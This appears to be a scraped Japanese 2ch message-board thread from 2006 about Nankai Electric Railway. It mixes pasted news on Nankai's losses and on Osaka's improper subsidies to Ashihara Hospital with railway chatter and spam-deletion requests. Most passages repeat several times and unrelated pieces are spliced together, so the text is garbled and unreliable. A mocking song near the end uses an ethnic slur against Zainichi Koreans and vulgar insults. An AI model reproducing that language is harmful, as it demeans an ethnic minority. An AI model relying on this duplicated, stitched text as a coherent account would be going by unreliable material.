少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、ܷܵܶܵܶ大手五社の中で経常利益が前年同期比で
マイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが
南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、
これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、
その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）
実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。
前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、
労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。
重複【阪和線に】南海電気鉄道スレッドNa71【KO寸前】http://hobby7.2ch.net/test/read.cgi/rail/1146742537/芦原病院へ不正補助金４億８９００万円
大阪市歴代課長が虚偽報告書被差別部落の医療向上を目的に設立され、民事再生手続き中の浪速医療生活協同組合「芦原病院」（大阪市浪速区、別法人に事業譲渡）に対し、
大阪市が平成十四−十六年度に備品、工事補助金と偽って四億八千九百万円を不正支出し、
病院側が別用途に流用していたことが二十八日、市が設けた芦原病院調査委員会の調べでわかった。市の歴代担当課長が、虚偽の補助金清算報告書を長年にわたって病院に代わって作成していた
ことも判明。不正支出額はさらに膨らむ可能性が高い。同日、市が市議会の民生保健委員協議会で報告。また、自身も環境保健局長時代に補助金支出にかかわっていた関淳一市長は、「不適切な
清算処理として、深く反省しなければならない」として、過去五年分の補助金について特別監査請求した。調査は、市議会で共産市議が不正支出疑惑を指摘したことを受け三月末から開始。
同和対策事業を盛り込んだ地域改善対策財政特別措置法が失効した十四年度以降の補助に絞って書類分析や担当者からの聞き取りを行った。
その結果、三年間に支出された備品、工事補助金計四億八千九百万円のすべてが、補助金申請書や清算報告書通りに使われていなかったことが判明。
病院が保管していた総勘定元帳には、別の医療品購入や改修工事などの記録が残っていたが、総額で約一億七千万円にとどまり、三億一千八百万円
あまりの差額の使途は不明になっていた。調査委は「金融機関からの短期融資の返済や、手形の決済などのために、これらの差額を運転資金として流用していたのでは」と推測している。
前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、
労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。
重複【阪和線に】南海電気鉄道スレッドNa71【KO寸前】http://hobby7.2ch.net/test/read.cgi/rail/1146742537/芦原病院へ不正補助金４億８９００万円
大阪市歴代課長が虚偽報告書被差別部落の医療向上を目的に設立され、民事再生手続き中の浪速医療生活協同組合「芦原病院」（大阪市浪速区、別法人に事業譲渡）に対し、
大阪市が平成十四−十六年度に備品、工事補助金と偽って四億八千九百万円を不正支出し、
病院側が別用途に流用していたことが二十八日、市が設けた芦原病院調査委員会の調べでわかった。市の歴代担当課長が、虚偽の補助金清算報告書を長年にわたって病院に代わって作成していた
ことも判明。不正支出額はさらに膨らむ可能性が高い。同日、市が市議会の民生保健委員協議会で報告。また、自身も環境保健局長時代に補助金支出にかかわっていた関淳一市長は、「不適切な
清算処理として、深く反省しなければならない」として、過去五年分の補助金について特別監査請求した。調査は、市議会で共産市議が不正支出疑惑を指摘したことを受け三月末から開始。
同和対策事業を盛り込んだ地域改善対策財政特別措置法が失効した十四年度以降の補助に絞って書類分析や担当者からの聞き取りを行った。
その結果、三年間に支出された備品、工事補助金計四億八千九百万円のすべてが、補助金申請書や清算報告書通りに使われていなかったことが判明。
病院が保管していた総勘定元帳には、別の医療品購入や改修工事などの記録が残っていたが、総額で約一億七千万円にとどまり、三億一千八百万円
あまりの差額の使途は不明になっていた。調査委は「金融機関からの短期融資の返済や、手形の決済などのために、これらの差額を運転資金として流用していたのでは」と推測している。
さらに本来、病院側が作成すべき清算報告書を市の担当課長が代わって作成することが、長年の慣例になっていたことも判明。病院は報告書の
一枚目に押印するだけで、内容については把握しておらず、市は申請書や報告書通りの備品購入や工事が行われたか、一切確認していなかった。
市側は、月一回開かれる病院の予算委員会の定例会議にも出席。これらの補助金が、運転資金などに流用されていた実態を知りながら、補助金が
申請通りに使われていたとする虚偽の報告書を作り、補助金を不正支出していたとみられる。
同病院に対し市は、昭和四十三年度から平成十七年度までに、建設や備品購入、工事、運営などに対する補助金計百九十億円を支出。さらに補助金で
賄えない不足分を補うために貸し付けた計百三十億円の焦げつきが問題化している。
【視点】同和行政タブーの清算を本来、補助金を申請する側の民間病院の申請書を大阪市の歴代担当者が作成し、巨額の補助金を不正に支出、
病院の運転資金として流用させる−。外部委員による一カ月足らずの調査で浮かび上がったのは、病院存続を最優先にした異様ともいえる
役所ぐるみの優遇慣行だった。平成十三年度末に地域改善対策財政特別措置法が失効し、名目上、同和対策事業は終了したはずだが、
同法の下でも補助金の流用が許されないことはいうまでもない。「事実上の優遇政策ととらえなければありえない支援…」。
職員厚遇問題とは異なる大阪市の“暗部”に市幹部は表情を曇らせる。こうした慣行は長年にわたって申し送られ、幹部も容認、
担当者が不正行為に異議を唱える余地はなかったとすれば、それは同和行政のゆがみとしかいいようがない。
局長時代に補助金支出を決裁した関淳一市長も「責任は免れ得ない。やるべき見直しができていなかった」と反省。外部委員会の
調査に加えて、市長自身による異例の特別監査請求を決断した。芦原病院問題だけでない。談合事件にも発展した
大阪府同和建設協会所属業者への優先発注問題などは、長年にわたる同和行政の副産物ともいえる癒着やひずみの一端だ。
一枚目に押印するだけで、内容については把握しておらず、市は申請書や報告書通りの備品購入や工事が行われたか、一切確認していなかった。
市側は、月一回開かれる病院の予算委員会の定例会議にも出席。これらの補助金が、運転資金などに流用されていた実態を知りながら、補助金が
申請通りに使われていたとする虚偽の報告書を作り、補助金を不正支出していたとみられる。
同病院に対し市は、昭和四十三年度から平成十七年度までに、建設や備品購入、工事、運営などに対する補助金計百九十億円を支出。さらに補助金で
賄えない不足分を補うために貸し付けた計百三十億円の焦げつきが問題化している。
【視点】同和行政タブーの清算を本来、補助金を申請する側の民間病院の申請書を大阪市の歴代担当者が作成し、巨額の補助金を不正に支出、
病院の運転資金として流用させる−。外部委員による一カ月足らずの調査で浮かび上がったのは、病院存続を最優先にした異様ともいえる
役所ぐるみの優遇慣行だった。平成十三年度末に地域改善対策財政特別措置法が失効し、名目上、同和対策事業は終了したはずだが、
同法の下でも補助金の流用が許されないことはいうまでもない。「事実上の優遇政策ととらえなければありえない支援…」。
職員厚遇問題とは異なる大阪市の“暗部”に市幹部は表情を曇らせる。こうした慣行は長年にわたって申し送られ、幹部も容認、
担当者が不正行為に異議を唱える余地はなかったとすれば、それは同和行政のゆがみとしかいいようがない。
局長時代に補助金支出を決裁した関淳一市長も「責任は免れ得ない。やるべき見直しができていなかった」と反省。外部委員会の
調査に加えて、市長自身による異例の特別監査請求を決断した。芦原病院問題だけでない。談合事件にも発展した
大阪府同和建設協会所属業者への優先発注問題などは、長年にわたる同和行政の副産物ともいえる癒着やひずみの一端だ。
「同和対策事業は終わっても差別は残っている。不正だけに焦点を当てることは差別を助長する」。そんな声も根強い。
確かに芦原病院にも、劣悪だった被差別部落の生活立て直しを医療面で支えたという歴史的な意義があった。
しかし、差別の解消と、不正行為の根絶は、はっきり分けて考えるべきだ。市はなお残る「同和行政のタブー」を自ら明るみに出し、
公正な手続きで清算する作業と、不正防止の仕組みを確立することが必要だ。末端の職員に責任を押し付けるだけで済まされる問題ではない。
（山口敦）【2006/04/28 大阪夕刊から】ソース ttp://www.sankei.co.jp/news/060428/sha129.htm
確かに芦原病院にも、劣悪だった被差別部落の生活立て直しを医療面で支えたという歴史的な意義があった。
しかし、差別の解消と、不正行為の根絶は、はっきり分けて考えるべきだ。市はなお残る「同和行政のタブー」を自ら明るみに出し、
公正な手続きで清算する作業と、不正防止の仕組みを確立することが必要だ。末端の職員に責任を押し付けるだけで済まされる問題ではない。
（山口敦）【2006/04/28 大阪夕刊から】ソース ttp://www.sankei.co.jp/news/060428/sha129.htm
重複【阪和線に】南海電気鉄道スレッドNa71【KO寸前】http://hobby7.2ch.net/test/read.cgi/rail/1146742537/
重複【阪和線に】南海電気鉄道スレッドNa71【KO寸前】http://hobby7.2ch.net/test/read.cgi/rail/1146742537/
重複【阪和線に】南海電気鉄道スレッドNa71【KO寸前】http://hobby7.2ch.net/test/read.cgi/rail/1146742537/
空港線は乗客が全然増えていないとのこと。バスやＪＲに対しての優位性がないから当然でしょ。
難波−和歌山港６７キロ８９０円（特急６３分）難波−関西空港４３キロ１５９０円１３９０円８９０円
（空港特急空港急行普通列車３８分４７分８８分／各毎時２本）空港特急にも自由性があれば違った結果になるか。
自由性→自由席に訂正。せめて空港急行が毎時６本走ればこんな結果にはならんかった。
特に、南海線沿線と大阪環状線の西側エリアは、まるでスラム街。子供の頃、親から
「まじめに勉強していい大学行かないとこんな所にしか住めなくなるぞ」と言われて震えた。
泉北が新車を南海に合わせるのは無理な相談じゃないですか。直営化後は南海色を懸命に消してきたのを知らないのですか。
お偉いさん方は南海を見下しているような感じで過去には南海との共同設計も流れたような。
それは納入実績のある東急や川重以外のメーカーさんの提案だったとも。だから川重や東急にはこだわっていないと考えてたらいいよ。
南海が東急に固執する理由がわかんね。むしろ南海が泉北に合わせた方が南海の為になるよ。
現場も昔みたいに南海の人はいないので南海に合わせる筋合いはないよ。
ＪＲや大阪市などからヘッドハンティングで優秀な人材を引き抜いて南海と合わせようという機運が生まれる環境じゃない。
ＪＲの人はは全般に入っているのは知らなかったよ。
鉄道マニアはそこそこいて南海よりＪＲの噂話が流れたりするのは意外とＪＲの人が多いからだったとは。
http://hobby7.2ch.net/test/read.cgi/train/1144271912/552-560ＪＲに比べたらぬるま湯のような。
大阪市の人は土木が多いのは知っていましたけど。日勤教育とか、炎天下での監視業務と称した懲罰があったら嫌だもん。
難波−和歌山港６７キロ８９０円（特急６３分）難波−関西空港４３キロ１５９０円１３９０円８９０円
（空港特急空港急行普通列車３８分４７分８８分／各毎時２本）空港特急にも自由性があれば違った結果になるか。
自由性→自由席に訂正。せめて空港急行が毎時６本走ればこんな結果にはならんかった。
特に、南海線沿線と大阪環状線の西側エリアは、まるでスラム街。子供の頃、親から
「まじめに勉強していい大学行かないとこんな所にしか住めなくなるぞ」と言われて震えた。
泉北が新車を南海に合わせるのは無理な相談じゃないですか。直営化後は南海色を懸命に消してきたのを知らないのですか。
お偉いさん方は南海を見下しているような感じで過去には南海との共同設計も流れたような。
それは納入実績のある東急や川重以外のメーカーさんの提案だったとも。だから川重や東急にはこだわっていないと考えてたらいいよ。
南海が東急に固執する理由がわかんね。むしろ南海が泉北に合わせた方が南海の為になるよ。
現場も昔みたいに南海の人はいないので南海に合わせる筋合いはないよ。
ＪＲや大阪市などからヘッドハンティングで優秀な人材を引き抜いて南海と合わせようという機運が生まれる環境じゃない。
ＪＲの人はは全般に入っているのは知らなかったよ。
鉄道マニアはそこそこいて南海よりＪＲの噂話が流れたりするのは意外とＪＲの人が多いからだったとは。
http://hobby7.2ch.net/test/read.cgi/train/1144271912/552-560ＪＲに比べたらぬるま湯のような。
大阪市の人は土木が多いのは知っていましたけど。日勤教育とか、炎天下での監視業務と称した懲罰があったら嫌だもん。
年齢が若手からシニアまで幅広いので見た目では区別はつかないね。ところで南海のテレビコマーシャルはどうよ？
かなりセンスが良くなっているが、利用促進にどれだけつながるのか。和歌山のローカルバージョンも大阪で放映すればいいのに。
１０チャンネルで山陽のタージンを起用した１デイチケットのコマーシャルを見かけた。独特の声で上品でもないが、宣伝効果はかなり高いと感じた。
ついでに他社比較となるが、証券会社では単位株未満の端株を買いやすくなり、南海以外の株も購入してみた。
例えば神戸電鉄では、１株だけ購入しているが、半期ごとに全線乗車券２枚と、太閤の湯の割引券（通常2400円が５００円）が送られてくる。
神戸電鉄の１株は５００円ほどなので破格のサービスだ。南海特急の女性車掌は化粧が濃くてこばさんぽい
対する南海はどうだ、少し多めに保有していても株主乗車証（定期券式）は空港線が使えないとか制約が多すぎる。
昔は和歌山も橋本や高野山のバスも利用できたが、今は南海バスだけ１００円で利用できる状態。
かなり前は和歌山〜橋本は、バスが高頻度運行されていて便利に利用したものだ。嫌がらせのような株主乗車証の非常にダサいデザインもやめてほしい。
今からでも間に合うから７月１１日から通用分は普通の定期券の台紙にしてくれ。
182：南海スレ住人：2006/05/07(日)19:30:47 HOST:ZL175245.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/99,101,103-108
削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ
【鶴原←】南海電気鉄道スレッドNa69【⇒泉佐野】http://hobby7.2ch.net/test/read.cgi/rail/1145974517/884,933,1000
【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】http://hobby7.2ch.net/test/read.cgi/rail/1146932522/11,42
【阪和線に】南海電気鉄道スレッドNa70【KO寸前】http://hobby7.2ch.net/test/read.cgi/rail/1146742537/
3,5-6何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/182
かなりセンスが良くなっているが、利用促進にどれだけつながるのか。和歌山のローカルバージョンも大阪で放映すればいいのに。
１０チャンネルで山陽のタージンを起用した１デイチケットのコマーシャルを見かけた。独特の声で上品でもないが、宣伝効果はかなり高いと感じた。
ついでに他社比較となるが、証券会社では単位株未満の端株を買いやすくなり、南海以外の株も購入してみた。
例えば神戸電鉄では、１株だけ購入しているが、半期ごとに全線乗車券２枚と、太閤の湯の割引券（通常2400円が５００円）が送られてくる。
神戸電鉄の１株は５００円ほどなので破格のサービスだ。南海特急の女性車掌は化粧が濃くてこばさんぽい
対する南海はどうだ、少し多めに保有していても株主乗車証（定期券式）は空港線が使えないとか制約が多すぎる。
昔は和歌山も橋本や高野山のバスも利用できたが、今は南海バスだけ１００円で利用できる状態。
かなり前は和歌山〜橋本は、バスが高頻度運行されていて便利に利用したものだ。嫌がらせのような株主乗車証の非常にダサいデザインもやめてほしい。
今からでも間に合うから７月１１日から通用分は普通の定期券の台紙にしてくれ。
182：南海スレ住人：2006/05/07(日)19:30:47 HOST:ZL175245.ppp.dion.ne.jp
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【鶴原←】南海電気鉄道スレッドNa69【⇒泉佐野】http://hobby7.2ch.net/test/read.cgi/rail/1145974517/884,933,1000
【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】http://hobby7.2ch.net/test/read.cgi/rail/1146932522/11,42
【阪和線に】南海電気鉄道スレッドNa70【KO寸前】http://hobby7.2ch.net/test/read.cgi/rail/1146742537/
3,5-6何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/182
194：南海スレ住人：2006/05/11(木) 18:43:20 HOST:ZL175145.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/111-112,114-119削除理由・詳細・その他：６．連続投稿・重複
連続投稿・コピー＆ペーストコピペ元スレ【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】
http://hobby7.2ch.net/test/read.cgi/rail/1146932522/89,117,212-213,225,280,284-286,288-289,291-295,297,304,315
何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/194
197：南海スレ住人：2006/05/14(日) 05:05:54 HOST:ZD252155.ppp.dion.ne.jp削除対象アドレス：
http://hobby7.2ch.net/test/read.cgi/train/1141056257/121-124,126-127削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペースト
コピペ元スレ【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】http://hobby7.2ch.net/test/read.cgi/rail/1146932522/
350,382,389-391,399,423,432,539,584何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/197
198 ：南海スレ住人：2006/05/14(日) 18:40:18 HOST:ZL172170.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/128-133削除理由・詳細・その他：６．連続投稿・重複
連続投稿・コピー＆ペーストコピペ元スレ【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】http://hobby7.2ch.net/test/read.cgi/rail/1146932522/
593-595,607,610,619何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/198
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/111-112,114-119削除理由・詳細・その他：６．連続投稿・重複
連続投稿・コピー＆ペーストコピペ元スレ【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】
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何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/194
197：南海スレ住人：2006/05/14(日) 05:05:54 HOST:ZD252155.ppp.dion.ne.jp削除対象アドレス：
http://hobby7.2ch.net/test/read.cgi/train/1141056257/121-124,126-127削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペースト
コピペ元スレ【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】http://hobby7.2ch.net/test/read.cgi/rail/1146932522/
350,382,389-391,399,423,432,539,584何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/197
198 ：南海スレ住人：2006/05/14(日) 18:40:18 HOST:ZL172170.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/128-133削除理由・詳細・その他：６．連続投稿・重複
連続投稿・コピー＆ペーストコピペ元スレ【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】http://hobby7.2ch.net/test/read.cgi/rail/1146932522/
593-595,607,610,619何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/198
199：”削除”必要なし ：2006/05/14(日) 20:23:06 HOST:softbank219211024205.bbtec.net
>>197-198は連続投稿にはあたらない、スルーしろむしろ南海スレ住人のほうが連続投稿だ。
削除対象アドレスのうち130はコピペとはいえ真っ当なことを言っており、これを削除させようとするのは創価学会の批判封じと何ら変わりない。
南海にも変わる勇気は必要だと思う（笑）http://qb5.2ch.net/test/read.cgi/saku/1135406546/199
200：南海スレ住人：2006/05/15(月) 05:48:28 HOST:ZL172170.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/134-140削除理由・詳細・その他：６．連続投稿・重複
連続投稿・コピー＆ペーストコピペ元スレ【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】
http://hobby7.2ch.net/test/read.cgi/rail/1146932522/625,628-629,633,638,643,687,693,699
何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/200
>>197-198は連続投稿にはあたらない、スルーしろむしろ南海スレ住人のほうが連続投稿だ。
削除対象アドレスのうち130はコピペとはいえ真っ当なことを言っており、これを削除させようとするのは創価学会の批判封じと何ら変わりない。
南海にも変わる勇気は必要だと思う（笑）http://qb5.2ch.net/test/read.cgi/saku/1135406546/199
200：南海スレ住人：2006/05/15(月) 05:48:28 HOST:ZL172170.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/134-140削除理由・詳細・その他：６．連続投稿・重複
連続投稿・コピー＆ペーストコピペ元スレ【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】
http://hobby7.2ch.net/test/read.cgi/rail/1146932522/625,628-629,633,638,643,687,693,699
何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/200
今日初めて南海フェリーと特急サザンにのった名鉄沿線住人ですが、なんですかありゃ？年季入り杉。
普段名鉄パノラマカーに文句を言っていた俺ですが、サザンに乗って名鉄を見直したよ。
普段名鉄パノラマカーに文句を言っていた俺ですが、サザンに乗って名鉄を見直したよ。
163 ：名無し野電車区：2006/05/21(日) 01:45:46 ID:XPNzfEkZ0
しかし7000系ファンの俺がいる
◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が
２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が
２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
６５億円の赤字６５億円の赤字６５億円の赤字６５億円の赤字６５億円の赤字６５億円の赤字６５億円の赤字
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赤字南海
迷惑引っ越し厨への引っ越し返し！182：南海スレ住人：2006/05/07(日)19:30:47 HOST:ZL175245.ppp.dion.ne.jp
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/99,101,103-108
削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ
【鶴原←】南海電気鉄道スレッドNa69【⇒泉佐野】ttp://hobby7.2ch.net/test/read.cgi/rail/1145974517/884,933,1000
【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】ttp://hobby7.2ch.net/test/read.cgi/rail/1146932522/11,42
【阪和線に】南海電気鉄道スレッドNa70【KO寸前】ttp://hobby7.2ch.net/test/read.cgi/rail/1146742537/
3,5-6何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/182
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/99,101,103-108
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【鶴原←】南海電気鉄道スレッドNa69【⇒泉佐野】ttp://hobby7.2ch.net/test/read.cgi/rail/1145974517/884,933,1000
【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】ttp://hobby7.2ch.net/test/read.cgi/rail/1146932522/11,42
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3,5-6何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/182
続・迷惑引っ越し厨への引っ越し返し！194：南海スレ住人：2006/05/11(木) 18:43:20 HOST:ZL175145.ppp.dion.ne.jp
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/111-112,114-119削除理由・詳細・その他：６．連続投稿・重複
連続投稿・コピー＆ペーストコピペ元スレ【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】
ttp://hobby7.2ch.net/test/read.cgi/rail/1146932522/89,117,212-213,225,280,284-286,288-289,291-295,297,304,315
何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/194
197：南海スレ住人：2006/05/14(日) 05:05:54 HOST:ZD252155.ppp.dion.ne.jp削除対象アドレス：
ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/121-124,126-127削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペースト
コピペ元スレ【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】ttp://hobby7.2ch.net/test/read.cgi/rail/1146932522/
350,382,389-391,399,423,432,539,584何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/197
198 ：南海スレ住人：2006/05/14(日) 18:40:18 HOST:ZL172170.ppp.dion.ne.jp
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/128-133削除理由・詳細・その他：６．連続投稿・重複
連続投稿・コピー＆ペーストコピペ元スレ【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】ttp://hobby7.2ch.net/test/read.cgi/rail/1146932522/
593-595,607,610,619何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/198
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/111-112,114-119削除理由・詳細・その他：６．連続投稿・重複
連続投稿・コピー＆ペーストコピペ元スレ【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】
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何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/194
197：南海スレ住人：2006/05/14(日) 05:05:54 HOST:ZD252155.ppp.dion.ne.jp削除対象アドレス：
ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/121-124,126-127削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペースト
コピペ元スレ【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】ttp://hobby7.2ch.net/test/read.cgi/rail/1146932522/
350,382,389-391,399,423,432,539,584何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/197
198 ：南海スレ住人：2006/05/14(日) 18:40:18 HOST:ZL172170.ppp.dion.ne.jp
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/128-133削除理由・詳細・その他：６．連続投稿・重複
連続投稿・コピー＆ペーストコピペ元スレ【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】ttp://hobby7.2ch.net/test/read.cgi/rail/1146932522/
593-595,607,610,619何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/198
もういっちょ、迷惑引っ越し厨への引っ越し返し！161 ：名無しでGO!：2006/05/20(土) 16:32:50 ID:3Sq+DUna0
199：”削除”必要なし ：2006/05/14(日) 20:23:06 HOST:softbank219211024205.bbtec.net
>>197-198は連続投稿にはあたらない、スルーしろむしろ南海スレ住人のほうが連続投稿だ。
削除対象アドレスのうち130はコピペとはいえ真っ当なことを言っており、これを削除させようとするのは創価学会の批判封じと何ら変わりない。
南海にも変わる勇気は必要だと思う（笑）ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/199
200：南海スレ住人：2006/05/15(月) 05:48:28 HOST:ZL172170.ppp.dion.ne.jp
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/134-140削除理由・詳細・その他：６．連続投稿・重複
連続投稿・コピー＆ペーストコピペ元スレ【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】
ttp://hobby7.2ch.net/test/read.cgi/rail/1146932522/625,628-629,633,638,643,687,693,699
何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/200
199：”削除”必要なし ：2006/05/14(日) 20:23:06 HOST:softbank219211024205.bbtec.net
>>197-198は連続投稿にはあたらない、スルーしろむしろ南海スレ住人のほうが連続投稿だ。
削除対象アドレスのうち130はコピペとはいえ真っ当なことを言っており、これを削除させようとするのは創価学会の批判封じと何ら変わりない。
南海にも変わる勇気は必要だと思う（笑）ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/199
200：南海スレ住人：2006/05/15(月) 05:48:28 HOST:ZL172170.ppp.dion.ne.jp
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/134-140削除理由・詳細・その他：６．連続投稿・重複
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何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/200
いっそ阪急に買収してもらうというのはどうか？
南海電気鉄道６５億円の赤字
南海電気鉄道６５億円の赤字
174 ：名無し野電車区：2006/05/22(月) 20:10:49 ID:H2tJYc8G0
阪急みたいなのに買収されるくらいなら近鉄に・・・
175 ：名無しでGO!：2006/05/22(月) 22:42:32 ID:EoDa5AuS0
>>174
どうせなら「負け組連合」ってわけか
どうせなら「負け組連合」ってわけか
駅舎からホームは無いけど、駅舎から入口までは改札出て左にぼろいエレベーターがあるよ
南海は車両や駅舎だけでは飽き足らず、エレベーターまでもボロいな
南海は車両や駅舎だけでは飽き足らず、エレベーターまでもボロいな
177 ：名無しでGO!：2006/05/22(月) 23:47:28 ID:aDB9lOHT0
特損210億円で赤字が65億なら優秀だな。
いえいえ、南海にそんなことができるわけありません。所詮妄想だけの話
179 ：名無し野電車区：2006/05/24(水) 14:47:05 ID:BVNj7vfr0
そこそこ
180 ：名無しでGO!：2006/05/24(水) 15:29:17 ID:tl3UPTzLO
ＪＲに買収
汚野田（笑）
♪♪南海電鉄 腐った電鉄
南海電鉄 最低の電鉄
なんでもかんでも脱○○覆さぁー
南海ヲタク きたねぇヲタク
南海ヲタク 在日の手先
なんでもかんでも脱○○覆さぁー
南海ヲタク バカの連中
南海ヲタク コソコソすんじゃねぇ
お○んこ野郎 南海ヲタぁー ♪♪
バカやろう、なにが6000マンセーだ、おらぁ、南海ヲタぁー
お○んこ野郎 南海ヲタぁー ♪♪
ざまぁみろベイベー
元歌http://video.qooqle.jp/?v=_UzDgbCWbfk&title=Imawano%20kiyoshiro%20TV%20Live&q=imawano
南海電鉄 最低の電鉄
なんでもかんでも脱○○覆さぁー
南海ヲタク きたねぇヲタク
南海ヲタク 在日の手先
なんでもかんでも脱○○覆さぁー
南海ヲタク バカの連中
南海ヲタク コソコソすんじゃねぇ
お○んこ野郎 南海ヲタぁー ♪♪
バカやろう、なにが6000マンセーだ、おらぁ、南海ヲタぁー
お○んこ野郎 南海ヲタぁー ♪♪
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184 ：名無し野電車区：2006/05/26(金) 02:23:46 ID:jOXO++6b0
